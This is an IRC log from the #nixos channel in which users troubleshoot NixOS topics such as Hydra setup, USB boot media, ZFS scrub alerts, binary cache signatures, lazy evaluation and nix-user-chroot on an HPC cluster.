<gchristensen>
when evaluation fails, GrahamcOfBorg now posts a link to the output of the step that failed. for an example, see https://github.com/NixOS/nixpkgs/pull/31835 click "Details" next to "grahamcofborg-eval-package-list"
<dhess>
Debian has an "apt-file search" function which tells you which packages (whether installed or not) contain a string; so you can do something like "apt-file search vainfo" to find all packages that have a "vainfo" binary. Does Nix have something similar?
jensens has quit [(Ping timeout: 240 seconds)]
miko__ has quit [(Ping timeout: 240 seconds)]
<catern>
are there any examples of programs outside of Nix, linking against the Nix library?
<catern>
I would be greatly desirous of such examples :)
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] grahamc pushed 2 new commits to master: https://git.io/vFQOW
<bulldog>
I tried installing qt5.full, but that did nothing
<tanonym>
Trying to launch cutegram 2.7.1 results in the window border and buttons, but the contents are transparent and it just sits there. Installing telegram-desktop simply results in a crash on launch with no message or feedback. the icon appears briefly then vanishes.
sigmundv__ has joined #nixos
<joepie91>
I've had this with some KDE settings apps, relogging-in mysteriously fixes it
<hodapp>
hm. I wonder if it's easy for me to decouple Jupyter from the Python version that I'm running inside it
hellrazor has quit [(Ping timeout: 248 seconds)]
<hodapp>
because my issue right now is that sometimes the stuff I run inside it has weird dependencies
<hodapp>
and they conflict with what the Jupyter installation needs, so pip refuses to proceed
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] grahamc pushed 2 new commits to master: https://git.io/vFQ3G
<NixOS_GitHub>
nixpkgs/master f16bd1c Peter Hoeg: neomutt: use mime.types from dedicated mime-types derivation...
<NixOS_GitHub>
nixpkgs/master 6a83ee4 Graham Christensen: Merge pull request #31791 from peterhoeg/f/neomutt...
NixOS_GitHub has left #nixos []
derchris_ has quit [(Read error: Connection reset by peer)]
astronavt has joined #nixos
orivej has quit [(Ping timeout: 248 seconds)]
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] nicknovitski opened pull request #31842: silver-searcher: move bash completion to etc/bash-completion.d/ (master...silver-searcher-completion) https://git.io/vFQ3C
<gchristensen>
gosh, channels are going crazy tonight!
<samueldr>
iirc, nixos does something "weird" (unconventional) to make the right libGL.so available to apps
<gchristensen>
gfixler: sounds likely the game is expecting one version of drivers (the one from nixpkgs) and unhappy your kernel doesn't have the same one
sigmundv__ has quit [(Ping timeout: 260 seconds)]
<gfixler>
gchristensen: video drivers? I thought that was outside the bounds of Nix
<samueldr>
I'm talking about /run/opengl-driver[-32]/ folders
<gfixler>
samueldr: Nix as well, or just NixOS?
<gchristensen>
well like the software is linked to _something_ and we don't handle the nixos vs. non-nixos cases nicely here
<samueldr>
I don't know if the software built would assume /run/ shenanigans
<samueldr>
(which are useful and works well in nixos)
<gfixler>
gchristensen: sadly, I'm nowhere near knowledgeable enough to solve this one
<gfixler>
samueldr: non-NixOS - is this pressuring me to go all-in? :)
<samueldr>
I wouldn't dare pressure anyone to use NixOS (do it)
<gchristensen>
gfixler: I mean, yes? :)
<gfixler>
some day!
<gchristensen>
if let Some(day) = today { ...
<gfixler>
I'd be completely at sea if I switched today
<gchristensen>
:) well when you're ready, we're here to help make that jump. probably a Saturday morning is a better time to start, though
<gfixler>
much obliged
<gchristensen>
when I jumped ship, it was 2 days after I found Nix. a couple community members helped me up quite a lot, so I'm just passing on the favor
<samueldr>
frustrating, elm-reactor does not allow disabling debug
lambdamu has joined #nixos
<gchristensen>
samueldr: the Elm slack is likely interested in helping make the recursion go away
<samueldr>
there's already an issue opened
<samueldr>
I'm not 100% sure it's the debugger, but I first need to try to start the app without it to know
Supersonic112 has quit [(Ping timeout: 240 seconds)]
lambdamu_ has quit [(Ping timeout: 268 seconds)]
Supersonic112_ has joined #nixos
mbrgm has quit [(Ping timeout: 240 seconds)]
Supersonic112_ is now known as Supersonic112
LnL has quit [(Quit: exit 1)]
<gfixler>
samueldr: why did you need -p glxinfo in that nix-shell call you had me run?
<samueldr>
oh, I forgot my usual disclaimer: never run a random command from a random stranger without knowing what it does
<samueldr>
:)
<samueldr>
nix-shell, with other things, can start a shell with some packages installed
<samueldr>
it can also directly run a command
<gfixler>
that much I knew
<samueldr>
I made it ran ldd on glxgears
<gfixler>
but why glxinfo
<samueldr>
glxgears is part of glxinfo (iirc)
<gfixler>
ah, that's answers it
mbrgm has joined #nixos
<gfixler>
is there a way to ask glxgears what package it's in?
<samueldr>
if it's already installed, its path will tell, but it's... not usually useful
<gfixler>
I feel like I figured out the more general answer to this question recently, but forgot
<samueldr>
there's a database of files (bin folders only?) that ships with channels
<samueldr>
that, in turn, can be used (on nixos at least) with command-not-found
rcshm has quit [(Quit: Leaving)]
<gchristensen>
$ command-not-found which
<gfixler>
hmmm, we talked about command-not-found recently, but in a different context
<NixOS_GitHub>
[nixpkgs] NeQuissimus pushed 2 new commits to master: https://git.io/vFQnv
<NixOS_GitHub>
nixpkgs/master aac784f Tim Steinbach: minikube: Use localkube
<NixOS_GitHub>
nixpkgs/master 905b7a6 Tim Steinbach: Merge pull request #31621 from NeQuissimus/minikube_localkube...
NixOS_GitHub has left #nixos []
<gfixler>
gchristensen: that's a lot of channels
<gchristensen>
[0__0] in this chan is botbot
<gfixler>
:)
<gfixler>
My Firefox auto-updated to Quantum on Ubuntu
<gfixler>
does the Nix[OS] version try to that as well?
<gfixler>
what happens?
<gchristensen>
we don't allow that, we patch out the auto-updater and even if it tried, it can't write to /nix/store
<codygman>
gchristensen: Ah good, that's what I was thinking.
<gchristensen>
my ff57 works fine, from the mozilla overlay
<gfixler>
cool
<catern>
woohoo
<gchristensen>
hmmm disappointing I can't put a single quote in an irc nick
<fearlessKim[m]>
there should be an "unpatch" facility for nix-shell, applied patches makes commits harder; right now I have to review every commit with git add -p
<catern>
I wrote a script to extra all the fixed-output drvs in the build closure of a low-level derivation, then a script to run those fixed-output derivations in an impure way and add their outputs to the store
<samueldr>
gchristensen: I like backslashes
<catern>
this is super helpful to me for some inane reasons and also I think it's generically kind of useful - maybe this can be a more generic way to do nix-prefetch-url/git/svn/ftp/whatever
Shados has quit [(Remote host closed the connection)]
Shados has joined #nixos
<gfixler>
but I'm The Fix :)
<gchristensen>
ok I'll pick a different one
<gchristensen>
but do note that this means it is FATE you use nixos!
Shados has quit [(Remote host closed the connection)]
<gfixler>
:)
Shados has joined #nixos
<gfixler>
My current twitter name is: Gary Fix f = f (Fix…
<gfixler>
alright, time for food shopping - thanks all
<gchristensen>
I remember that now :) (I'm grhmc / grahamc, if that wasn't obvious) just trying to come up with a good bot name for a thing
ebzzry has joined #nixos
ebzzry has quit [(Client Quit)]
c0ffee152 has quit [(Quit: Lost terminal)]
Wizek_ has quit [(Ping timeout: 268 seconds)]
<erictapen>
Good evening everyone!
phreedom has joined #nixos
<erictapen>
I just managed to setup my private Hydra instance in order to build my NixOps deployments. My job set evaluates, but for some reason it does'nt build. The setup is just a single Hydra instance, without build slaves. Does this problem sound familiar to anyone?
codygman has quit [(Ping timeout: 260 seconds)]
erictapen has quit [(Ping timeout: 248 seconds)]
deepfire has quit [(Ping timeout: 250 seconds)]
rogue_koder has joined #nixos
<pikajude>
ugh, nix remote builds are so irritating
justanotheruser has quit [(Quit: WeeChat 1.7.1)]
mizu_no_oto has joined #nixos
<pikajude>
okay why can't nix build on my remote machine
<pikajude>
why is it getting an authentication failure
<pikajude>
i can SSH in with the exact same arguments
<pikajude>
how do i debug build hook failures
astronavt has quit [(Disconnected by services)]
astronavt has joined #nixos
astronavt has quit [(Disconnected by services)]
astronav_ has joined #nixos
petersjt014[m] has joined #nixos
astronav_ has quit [(Remote host closed the connection)]
dieggsy has joined #nixos
<Kim>
Has anyone come up with a good way to configure default KDE keybindings and panel layout? Been digging around for a while and haven't seen anything
timbod7 has joined #nixos
<dalaing>
erictapen: I can think of two things
<dalaing>
whenever I've installed hydra, the hydra-queue-runner service gets restarted a bunch of times until it shuts down on the first install - manually restarting it and/or rebooting the machine fixes it, and you only have to do those once
<dalaing>
the other thing is that you have to specify at least one build machine
timbod7 has quit [(Quit: My MacBook has gone to sleep. ZZZzzz…)]
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] jraygauthier opened pull request #31845: libwebcam: Init at 0.2.5 (master...jrg/libwebcam_init) https://git.io/vFQW6
NixOS_GitHub has left #nixos []
acarrico has quit [(Ping timeout: 268 seconds)]
timbod7 has joined #nixos
dieggsy has quit [(Remote host closed the connection)]
timbod7 has quit [(Ping timeout: 258 seconds)]
<petersjt014[m]>
has anybody gotten the latest iso to burn and successfully boot via flash drive? I get something like ' PXE-E61: media test failure, check cable' with rufus, yumi and etcher
<samueldr>
at a glance, this error message looks like it's not trying to boot the usb drive and the board is falling back to PXE (network boot)
<petersjt014[m]>
is this a bios setting that needs to be changed then?
<samueldr>
that's a possibility
<samueldr>
another possibility is the USB drive can't be used to boot (rare, but happens)
pie_ has quit [(Ping timeout: 248 seconds)]
mizu_no_oto has quit [(Quit: Computer has gone to sleep.)]
<petersjt014[m]>
hmm
<petersjt014[m]>
one of these options is easy
<petersjt014[m]>
the other involves cracking a bios password
<petersjt014[m]>
(happens with resold devices)
<samueldr>
what's the motherboard model / computer model?
<samueldr>
sometimes you can press an F key to show a boot menu, even when it's password-protected
<petersjt014[m]>
I can get to the list of boot options and boot other live cds via flash drive if that's what you mean
<samueldr>
if you have verified that computer can boot a flash drive, then the usb drive should be alright
<samueldr>
(if you tried that particular drive)
<petersjt014[m]>
actually, i mightve only just tried other oses on the same drive
<petersjt014[m]>
now im not sure
<petersjt014[m]>
one sec, gonna go play flash drive musical chairs
<samueldr>
I don't know much about etcher, but from what I read, it seems like it's about the same as using `dd`
p4cman has joined #nixos
<petersjt014[m]>
is that more or less supported than the other one?
<petersjt014[m]>
also is iso the other one or am i thinking of something else?
zzamboni has joined #nixos
<samueldr>
now I'm confused
<samueldr>
there are three iso, one graphical, two minimal
<samueldr>
all three can be used the same way with usb drive
<petersjt014[m]>
and an ova
<samueldr>
yes, ova is for VirtualBox, mainly, which won't be useful for usb boot
<petersjt014[m]>
yeah
<samueldr>
you're using windows, right?
<samueldr>
(to "burn" the usb drive)
<petersjt014[m]>
yup
<petersjt014[m]>
i can use another live cd to burn w/ gparted or something
<petersjt014[m]>
if that somehow helps
<samueldr>
I never made a nixos usb drive from windows, I don't know what works for sure
<samueldr>
with Linux, using `dd` with the iso files do work
<samueldr>
I haven't tried the latest iso, it's been updated 6 days ago, but there's no reason it shouldn't work
<samueldr>
(I'm downloading it, to at least verify the iso works)
<samueldr>
the iso should boot both legacy and uefi
somlor has joined #nixos
<hyper_ch>
petersjt014[m]: use rufus in dd mode on windows
<hyper_ch>
rufus is also good at putting win.iso on usb
<petersjt014[m]>
I've just found a minor workaround
<petersjt014[m]>
ISO isnt listed as a valid filetype in dd mode, and selecting one changes it back to iso mode
<petersjt014[m]>
but bzip2 is listed there
<petersjt014[m]>
I zipped the iso file and rufus seems to be fine with that
<samueldr>
I wouldn't be surprised if it didn't work, this seems a bit convoluted
<samueldr>
if it accepts .img as a filetype, it would be a safer bet than bzipping the iso, imho
<samueldr>
sorry, I have to go, hope it work
<petersjt014[m]>
me too, cya
somlor is now known as seanomlor
<averell>
do i have to create an issue to fix a build error or is a PR sufficient? also, does nix.useSandbox apply if I test via NIX_PATH=... nix-shell -p ?
seanomlor has quit [(Ping timeout: 248 seconds)]
Arcaelyx has quit [(Quit: My MacBook has gone to sleep. ZZZzzz…)]
<jeaye>
I'm running hsetroot in services.xserver.windowManager.i3.extraSessionCommands, and I can see it change the background, but it's quickly undone. If I run it again, in an interactive shell, it persists. Is there a better place for me to put it?
astronav_ has quit [(Remote host closed the connection)]
endformationage has quit [(Quit: WeeChat 1.9.1)]
ma27 has joined #nixos
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] averelld opened pull request #31848: nextcloud-client: fix build after qt updates (master...nextcloud-client-qt-update) https://git.io/vFQ4Y
NixOS_GitHub has left #nixos []
zzamboni has quit [(Quit: Leaving.)]
filterfish has quit [(Remote host closed the connection)]
filterfish_ has joined #nixos
ma27 has quit [(Ping timeout: 255 seconds)]
seanomlor has joined #nixos
katyucha has joined #nixos
<adisbladis>
What is a good way to extract major and minor version from a package?
miko__ has joined #nixos
* jeaye
got around the hsetroot issue by using ~/.xsession to start i3 instead.
leat has quit [(Ping timeout: 248 seconds)]
leat has joined #nixos
jb55 has joined #nixos
asuryawanshi has joined #nixos
PlasmaStrike[m] has joined #nixos
<hyper_ch>
clever: how often do you scrub zfs and how do you check the scrub results?
<fpletz>
hyper_ch: speaking for us: we scrub once a week and use the node exporter to feed metrics to prometheus, including zfs read/write and checksum errors. we an alert rule in prometheus to check if they are > 0
<fpletz>
hehe, I've been on the metrics-based alerting fanclub for a while and tried different solutions like graphite and influxdb but settled for prometheus
asuryawanshi has quit [(Ping timeout: 260 seconds)]
<fpletz>
hyper_ch: exporters are the daemons from which prometheus pulls the metrics via normal http
<fpletz>
the node exporter is the exporter that collects all basic system metrics like io, cpu, memory etc.
<hyper_ch>
and I just wanted to get notified if scrub found issues
asuryawanshi has quit [(Remote host closed the connection)]
ifeue has quit [(Quit: Leaving)]
<adisbladis>
tilpner: lib is just an alias for builtins anyway
<fpletz>
adisbladis: thanks for cleaning up after me - I tried a few dependencies but only the ones that succeed it seems :/
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] vbgl pushed 2 new commits to master: https://git.io/vFQuo
<NixOS_GitHub>
nixpkgs/master 7c749ba Vincent Laporte: ocamlPackages.ocaml_gettext: 0.8.7 -> 0.8.8
<NixOS_GitHub>
nixpkgs/master c890abb Vincent Laporte: ocamlPackages.rope: 0.5 -> 0.6
NixOS_GitHub has left #nixos []
<tilpner>
adisbladis - A re-export, for now. But I don't know which to prefer, so I listed both
katyucha has quit [(Ping timeout: 258 seconds)]
davidak has quit [(Quit: Leaving.)]
<tilpner>
(There's apparently differences between builtins and lib for other functions, so it might be nice to stick to lib)
<LnL>
gchristensen: why do you think I was still awake?
davidak has joined #nixos
<adisbladis>
fpletz: Happy to help =) Happens too easily with these large lib updates
thc202 has joined #nixos
davidak has quit [(Ping timeout: 248 seconds)]
v0lZy has joined #nixos
cinimod` has quit [(Remote host closed the connection)]
cinimod` has joined #nixos
zzamboni has joined #nixos
asuryawanshi has joined #nixos
periklis has joined #nixos
cinimod` has quit [(Remote host closed the connection)]
cinimod` has joined #nixos
davidak has joined #nixos
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] peterhoeg pushed 1 new commit to master: https://git.io/vFQzY
<NixOS_GitHub>
nixpkgs/master eacab6a Peter Hoeg: shairplay: init at 2016-01-01
NixOS_GitHub has left #nixos []
cinimod` has quit [(Remote host closed the connection)]
cinimod` has joined #nixos
Itkovian has joined #nixos
jensens has joined #nixos
<fearlessKim[m]>
when is a variable evaluated ? when it is passed to a function ? when it's used to define an oother variable ?
asuryawanshi has quit [(Remote host closed the connection)]
<srhb>
fearlessKim[m]: Neither of those are sufficient to force evaluation.
cinimod` has quit [(Ping timeout: 240 seconds)]
cinimod` has joined #nixos
rogue_koder has quit [(Quit: Konversation terminated!)]
<srhb>
fearlessKim[m]: (let a = throw "evaluation"; b = x: 42; in b a)
seanomlor has quit [(Ping timeout: 240 seconds)]
<srhb>
fearlessKim[m]: I don't know the exact definition, but it seems like the usual Haskelly "when you scrutinize the value" form of non-strict evaluation, but without pattern matches simplifying the rules.
<fearlessKim[m]>
cool example thx, any good doc ? i suspect it's a generic problem but I wonder if there are differences between lazy languages regarding this aspect
<srhb>
fearlessKim[m]: I haven't found any. Perhaps the original paper by Eelco will be helpful?
v0lZy has left #nixos []
<fearlessKim[m]>
I would like to evaluate a derviation much later than it is currently but I am not sure where it gets evaluated first
<fearlessKim[m]>
shrb that s a good idea
asuryawanshi has joined #nixos
asuryawanshi has quit [(Remote host closed the connection)]
<NixOS_GitHub>
nixpkgs/master 0ed7d4d Franz Pletz: Merge pull request #31812 from eqyiel/matrix-synapse-configurable-home...
NixOS_GitHub has left #nixos []
bennofs has joined #nixos
cinimod` has quit [(Ping timeout: 250 seconds)]
ssmike has joined #nixos
cinimod` has joined #nixos
<aw>
Hi, guys.
<adisbladis>
Hey
<aw>
I have a server running nixos-17.09-small and started putting suitable services into containers (because it is so hilariously simple and it works™).
arianvp2 has joined #nixos
cinimod` has quit [(Ping timeout: 240 seconds)]
<aw>
Furthermore, on the »host« machine, I have enabled automatic updates (system.autoUpgrade.enable = true).
roberth has joined #nixos
<aw>
I noticed that nixos-rebuild switch only restarts host services, not containers (it only tells »reloading unit […] container@…«).
<aw>
I guess this is some kind of security measure to not breaking things, but is there a way to modify this behaviour?
Itkovian has quit [(Ping timeout: 240 seconds)]
<aw>
One of these containers runs znc and usually this updates rather regularly and as often as I see updates there it would sure let me sleep better to know that the actual service is restarted. ;)
asuryawanshi has quit [(Remote host closed the connection)]
asuryawanshi has joined #nixos
pikajude has quit [(Quit: ZNC 1.6.5 - http://znc.in)]
pikajude has joined #nixos
asuryawanshi has quit [(Remote host closed the connection)]
asuryawanshi has quit [(Remote host closed the connection)]
asuryawanshi has joined #nixos
cinimod` has quit [(Ping timeout: 240 seconds)]
cinimod` has joined #nixos
goibhniu has joined #nixos
ssmike has quit [(Ping timeout: 240 seconds)]
cinimod` has quit [(Ping timeout: 248 seconds)]
<srhb>
I have a weird issue where nixos-install fails when run from a systemd oneshot unit (while copying store paths) but not when I run the exact same script by hand. There's no useful output, it just fails after/during copying some path. Any idea how to debug this?
<srhb>
(as in, the last message is just /nix/store/HASH-dosfstools-version)
Itkovian has joined #nixos
aloiscochard has quit [(Quit: Connection closed for inactivity)]
<srhb>
Main process exited, xode=exited, status=1/FAILURE
<srhb>
I've added --show-trace, but that produces no additional output either.
<srhb>
I wonder if the unit is missing some env var or something, but the location of the failure is just weird.
goibhniu has quit [(Remote host closed the connection)]
<sphalerite>
srhb: is the appropriate stuff on $PATH for it? Does set -x provide any useful info?
<srhb>
sphalerite: I've already got set -x. I have dosfstools, e2fsprogs, lvm2, nix, utillinux on path.
arianvp2 has quit [(Quit: arianvp2)]
<clever>
srhb: run nixos-install under "strace -ff -o /tmp/logfiles -s 5000" and then check the execve's in the logs to see what it failed to find
<srhb>
(All needed for bootstrapping)
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] orivej pushed 1 new commit to master: https://git.io/vFQr5
<hyper_ch>
clever: how do you scrub zfs (and check scrubbing results)?
cinimod has quit [(Ping timeout: 255 seconds)]
<sphalerite>
hyper_ch: zpool scrub pool
<sphalerite>
hyper_ch: and zpool status
<hyper_ch>
so you do that manually?
<sphalerite>
There's also the autoscrub option
<hyper_ch>
well, I use autoscrub in nixos
<hyper_ch>
but the problem is, how do I get notified when it encounters issues
<sphalerite>
Oh right
goibhniu has quit [(Remote host closed the connection)]
<sphalerite>
Well it's kind of independent of the scrub since errors can be detected during normal operation too
goibhniu has joined #nixos
<hyper_ch>
well, I've been pondering, if you do 3 scrubs and one drive encounters errors on all three scrubs, then maybe you should replace it... but I guess I'd have to use that other tool that was suggested
<sphalerite>
I'd say even a single data error would be cause for concern
<hyper_ch>
one data error could be because of cosmic rays ;)
<hyper_ch>
two can be coincidental
<hyper_ch>
three is a pattern
<hyper_ch>
(or does that only apply to serial killers?)
cinimod has joined #nixos
katyucha has joined #nixos
<hyper_ch>
someone suggested to use Prometheus
<hyper_ch>
prometheus is packaged for nixos
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] dywedir opened pull request #31854: rdedup: init at 2.0.0 (master...rdedup) https://git.io/vFQoS
NixOS_GitHub has left #nixos []
<sphalerite>
Yes it could, but I'd still want to know about it
<hyper_ch>
also I can scrub server daily, theres only like 200gb total data on it
<sphalerite>
I'm trying to use a binary cache I've set up, but am getting "warning: substituter ... does not have a valid signature for path ..."
<sphalerite>
Even though I ran nix sign-paths --all on it and have the key in my nix config
<clever>
sphalerite: do you see a signature in the .narinfo of that path?
<knedlsepp>
Could someone give me some more insights on how exactly the prefix of the nix store is involved in the computation of the hash? I think this is something that is currently biting me with the dns-root-data issue that I just opened.
<clever>
sphalerite: for a given /nix/store/<hash>-<name>, the binary cache will have a <hash>.narinfo file
<clever>
sphalerite: and that .narinfo contains the path of the .nar and the signature
<fpletz>
hyper_ch: yup
<hyper_ch>
so you run prometheus on a server you also scrub?
<knedlsepp>
Hm. The inclusion of the prefix kinda sucks in the case of fixed output derivations.
goibhniu1 has joined #nixos
<sphalerite>
clever: yep, the sig is there
<hyper_ch>
and can prometheus send email alert?
biotim has joined #nixos
<clever>
knedlsepp: there is also a difference between flat and recursive fixed-outputs
<clever>
knedlsepp: i think a fixed fixed-output expects the sha256 in the derivation to be the regular sha256 of the file, but the storepath itself still has more layers
<knedlsepp>
When I have a private install of nix in $HOME/nix/ then I cannot make use of the binary cache for these.
goibhniu has quit [(Ping timeout: 240 seconds)]
<clever>
knedlsepp: what about something like proot and mount namespacing to put nix back at /nix/ ?
<sphalerite>
knedlsepp: also have a look at nix-user-chroot
roberth has quit [(Ping timeout: 248 seconds)]
<knedlsepp>
clever: I've tried nix-user-chroot but the thing is I want to run MPI processes on an hpc and I couldn't make that work with proot (and also that might have a performance impact)
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] 7c6f434c pushed 1 new commit to master: https://git.io/vFQKQ
<NixOS_GitHub>
nixpkgs/master 0fe9606 Michael Raskin: asdf: 3.3.0 -> 3.3.1
NixOS_GitHub has left #nixos []
<sphalerite>
What's wrong with nix-user-chroot?
<sphalerite>
It shouldn't affect performance noticeably
cinimod` has quit [(Ping timeout: 240 seconds)]
<knedlsepp>
I'm actually unsure how I would run my mpi processes inside the nix-user-chroot through a PBS-PRO HPC scheduler.
<sphalerite>
By passing the command to nix-user-chroot
<fpletz>
hyper_ch: nope, we have separate machine for monitoring. for alerting there's another component: alertmanager. it can also send emails or webhooks.
MercurialAlchemi has quit [(Quit: Reconnecting)]
MercurialAlchemi has joined #nixos
<hyper_ch>
and you have a separate machein that monitors the monitoring machine... and another one that monitors that one? :)
<fpletz>
hyper_ch: beware though that if you only want it for zfs, prometheus may be a little bit too much :)
hke has quit [(Ping timeout: 240 seconds)]
<fpletz>
hyper_ch: well, we have multiple prometheus servers and the alertmanager can do clustering… so yeah :>
<hyper_ch>
:)
<sphalerite>
knedlsepp: I mean, I'm assuming you can just give the scheduler some shell script or whatever
<sphalerite>
So the watcher is also the watcher-watcher-watcher
<knedlsepp>
sphalerite: Yes, that's pretty much how it works. I think I might give this another try. However I somehow dislike prefixing all the commands with nix-user-chroot. It also is a little clumsy to explain to my colleagues that even though their favorite software is "installed" they can't just run it by typing the commands.
rihards has joined #nixos
hke has joined #nixos
adamt__ has joined #nixos
<sphalerite>
knedlsepp: you could also do some hack like checking if /nix exists and if not execing nix-user-chroot in the bashrc
zzamboni has quit [(Quit: Leaving.)]
zzamboni has joined #nixos
<knedlsepp>
sphalerite: This I've tried. However I found that this only worked for interactive sessions. Running stuff through the scheduler wouldn't work. I actually don't know how I would combine this approach with the one you mentioned before to get the best of both worlds.
cinimod` has joined #nixos
MP2E has quit [(Remote host closed the connection)]
zzamboni has quit [(Remote host closed the connection)]
zzamboni has joined #nixos
<sphalerite>
knedlsepp: put the same line in your job scripts
bennofs has quit [(Ping timeout: 258 seconds)]
cinimod` has quit [(Remote host closed the connection)]
cinimod` has joined #nixos
bennofs has joined #nixos
hellrazor has joined #nixos
<sphalerite>
clever: so any idea why it's complaining about the signature?
cinimod` has quit [(Remote host closed the connection)]
cinimod` has joined #nixos
<clever>
sphalerite: can you gist the narinfo or paste a link to it?
<clever>
its a cache cache and can be regenerated, so somebody turned off a vital option in sqlite, allowing the db to become corrupt (for more performance)
<clever>
but there is no error handling to wipe it in the case of corruption
<sphalerite>
... Nope. Still the same error
<clever>
so all nix commands fail
<sphalerite>
I guess I'll restart the daemon?
<clever>
that might help
cinimod` has joined #nixos
<sphalerite>
Nope. >:|
<clever>
ive also found some bugs in "nix copy" that ask for signatures when it shouldnt
<sphalerite>
ix.io/Cjs
cinimod` has quit [(Ping timeout: 240 seconds)]
cinimod` has joined #nixos
<clever>
sphalerite: its also plausible that you have the wrong public key, double-check that you signed it with the right key?
ssmike has joined #nixos
adamt_ has joined #nixos
adamt_ has quit [(Changing host)]
adamt_ has joined #nixos
cinimod` has quit [(Ping timeout: 240 seconds)]
<sphalerite>
I don't have any other keys lying around :/
<clever>
sphalerite: how did you generate the pair?
bennofs has quit [(Read error: Connection reset by peer)]
adamt has quit [(Ping timeout: 255 seconds)]
<clever>
yeah, thats the one that should work
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] Mic92 pushed 1 new commit to master: https://git.io/vFQM3
<NixOS_GitHub>
nixpkgs/master 3f057db jraygauthier: sqlite-jdbc: init at 3.20.0 (#31816)
NixOS_GitHub has left #nixos []
ertes-w is now known as supercynic
ssmike has quit [(Remote host closed the connection)]
ssmike has joined #nixos
civodul has joined #nixos
cinimod` has joined #nixos
<aminechikhaoui>
clever: sphalerite regarding the cache's cache (what a great name :D), there is also a cache in /root/.cache/nix/binary-cache-v5.sqlite*
thaega has joined #nixos
<aminechikhaoui>
so maybe try removing it to rule out the cache being the issue
<aminechikhaoui>
but likely not, afaik nix caches only negative/positive lookups of nars, and signature handling is later in the process
zzamboni has quit [(Quit: Leaving.)]
FRidh has joined #nixos
<sphalerite>
aminechikhaoui: that fixed it!!
<sphalerite>
Thanks!
<aminechikhaoui>
woot
<clever>
that file is new to me
<clever>
dont see it on my systems
<aminechikhaoui>
weird, but glad it's fixed :)
<clever>
ah, its on my normal user, but not root
<aminechikhaoui>
clever: using nix 1.12 ?
<clever>
because ive been careful to never give nixUnstable root
<aminechikhaoui>
ah
<clever>
ive seen people run into problems with db.sqlite getting upgraded
<sphalerite>
I'm using nixUnstable for all users
<clever>
but if it never gets root, then nix-daemon acts as a gatekeeper
<sphalerite>
clever: 1.11 is forwards compatible now
zzamboni has joined #nixos
aloiscochard has joined #nixos
cinimod` has quit [(Ping timeout: 240 seconds)]
cinimod` has joined #nixos
cinimod` has quit [(Remote host closed the connection)]
cinimod` has joined #nixos
whald has joined #nixos
sigmundv has joined #nixos
cinimod` has quit [(Ping timeout: 260 seconds)]
arianvp2 has quit [(Quit: arianvp2)]
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] orivej pushed 1 new commit to master: https://git.io/vFQ9g
<NixOS_GitHub>
nixpkgs/master 54c281f Orivej Desh: bullet283: delete old version
NixOS_GitHub has left #nixos []
<tommyangelo[m]>
how does one move a nixops setup to another machine? I can't seem to find any documentation on this. It seems like running 'nixops export' and 'nixops import' should be enough, but it does reference /nix/store paths which do not exist yet on the target machine.
<clever>
tommyangelo[m]: the next `nixops deploy` should run `nix-build` and re-build everything from the expressions
cinimod has quit [(Ping timeout: 268 seconds)]
arianvp2 has joined #nixos
<tommyangelo[m]>
clever: Ok, thanks
cinimod has joined #nixos
aw has quit [(Quit: Quitting.)]
spacefrogg has quit [(Remote host closed the connection)]
myrl has joined #nixos
aw has joined #nixos
<aminechikhaoui>
tommyangelo[m]: or you could probably do nixops dump-paths and copy closure between machines
spacefrogg has joined #nixos
<aminechikhaoui>
to avoid rebuilding or loosing store paths
myrl has quit [(Ping timeout: 250 seconds)]
adamt_ has quit [(Ping timeout: 240 seconds)]
aw has quit [(Remote host closed the connection)]
spacefrogg has quit [(Remote host closed the connection)]
aw has joined #nixos
spacefrogg has joined #nixos
aw has quit [(Remote host closed the connection)]
spacefrogg has quit [(Remote host closed the connection)]
aw has joined #nixos
spacefrogg has joined #nixos
cinimod` has joined #nixos
cinimod has quit [(Ping timeout: 248 seconds)]
simukis has joined #nixos
adamt has joined #nixos
adamt has quit [(Changing host)]
adamt has joined #nixos
spacefrogg has quit [(Remote host closed the connection)]
aw has quit [(Remote host closed the connection)]
aw has joined #nixos
spacefrogg has joined #nixos
<srhb>
clever: I didn't manage to find anything legible in the strace, but with some creative guessing, it appears that HOME must be set.
myrl has joined #nixos
<srhb>
Hm, and some NIX env vars.
<myrl>
Back.
truh has joined #nixos
<myrl>
stdenv.mkDerivation seems to set `-l` in `make`, which doesn't really work with Android, since Android has a lot of threads.
<clever>
myrl: NIX_BUILD_CORES is based on the build-cores in nix.conf
<myrl>
clever: Right.
<myrl>
clever: But Android, at base it at ~6-8 load.
<clever>
ahh
<myrl>
clever: I just overset the NIX_BUILD_CORES as a workaround.
<clever>
you would need to patch setup.sh, which involves a mass-rebuild
<myrl>
I guess this doesn't need to be fixed?
Jackneill has joined #nixos
deepfire has joined #nixos
<knedlsepp>
sphalerite: I did try to automatically start a nix-user-chroot in my .bashrc. In principle it works. However when trying to use the HPC's scheduler, I get "qsub -I: pbs_iff: cannot connect to host. No Permission. qsub: cannot connect to server sched1 (errno=15007)"
<sphalerite>
I have no idea how that stuff works unfortunately
Wizek_ has joined #nixos
Wizek has joined #nixos
ma27 has joined #nixos
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] rycee opened pull request #31860: nixos/bash: mark `inputrc` etc file as default (master...nixos/bash/fix/inputrc) https://git.io/vFQ5Z
NixOS_GitHub has left #nixos []
infernal has left #nixos ["ERC (IRC client for Emacs 25.3.1)"]
<Kim>
Is there a function glossary somewhere? I've been poking around in nixpkgs and keep finding things that aren't detailed in the manual or pills
<knedlsepp>
spahlerite: I also observe that inside the nix-user-chroot when I call "htop" suddenly all the usernames except for mine are called "nobody". Is this an expected side effect of the chroot?
zetok has quit [(Ping timeout: 240 seconds)]
<Kim>
IE, length(), stringLength(), and some other odds and ends
<Kim>
